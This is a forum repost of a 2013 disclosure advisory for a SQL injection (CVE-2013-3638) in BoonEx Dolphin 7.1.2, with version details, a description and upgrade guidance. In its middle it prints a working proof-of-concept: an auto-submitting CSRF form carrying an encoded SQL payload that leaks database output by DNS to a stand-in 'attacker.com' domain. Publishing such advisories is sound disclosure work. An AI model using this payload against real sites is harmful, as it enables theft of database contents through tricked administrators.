Post Wed Jun 12, 2013 2:44 pm

HTB23157: SQL Injection in Dolphin

Advisory ID: HTB23157
Product: Dolphin
Vendor: BoonEx
Vulnerable Versions: 7.1.2 and probably prior
Tested Version: 7.1.2
Vendor Notification: May 22, 2013
Vendor Fix: May 29, 2013
Public Disclosure: June 12, 2013
Latest Update: June 11, 2013
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2013-3638
Risk Level: Medium
CVSSv2 Base Score: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab

Advisory Details:
High-Tech Bridge Security Research Lab discovered SQL injection vulnerability in Dolphin, which can be exploited to manipulate SQL requests passed to vulnerable application and obtain sensitive data from the database.

1) SQL Injection in Dolphin: CVE-2013-3638
The vulnerability exists due to insufficient validation of "pathes[]" HTTP POST parameter passed to "/administration/categories.php" PHP script. A remote authenticated administrator can execute arbitrary SQL commands in the application's database.
This vulnerability could also be exploited by a remote non-authenticated attacker via CSRF vector, since the application is prone to Cross-Site Request Forgery (CSRF) attacks. In order to do so an attacker should trick a logged-in application administrator to visit a web page with CSRF exploit.
The basic CSRF exploit code below is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The exploit will send a DNS request demanding IP addess for `version()` (or any other sensetive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):
<form action="http://[host]/administration/categories.php" method="post" name="main">
<input type="hidden" name="pathes[]" value="1%%(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHA R(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114 )))) -- %%1">
<input type="hidden" name="action_disable" value="1">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>

Solution:
Upgrade to Dolphin 7.1.3

More Information:
http://www.boonex.com/trac/dolphin/changeset/17659
http://www.boonex.com/trac/dolphin/mile ... in%207.1.3
http://www.boonex.com/n/stability-secur ... n-and-more

References:
[1] High-Tech Bridge Advisory HTB23157 - https://www.htbridge.com/advisory/HTB23157 - SQL Injection in Dolphin.
[2] Dolphin - http://www.boonex.com - The world's most advanced software platform for building vibrant community websites.
[3] Common Vulnerabilities and Exposures (CVE) - cve.mitre.org - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.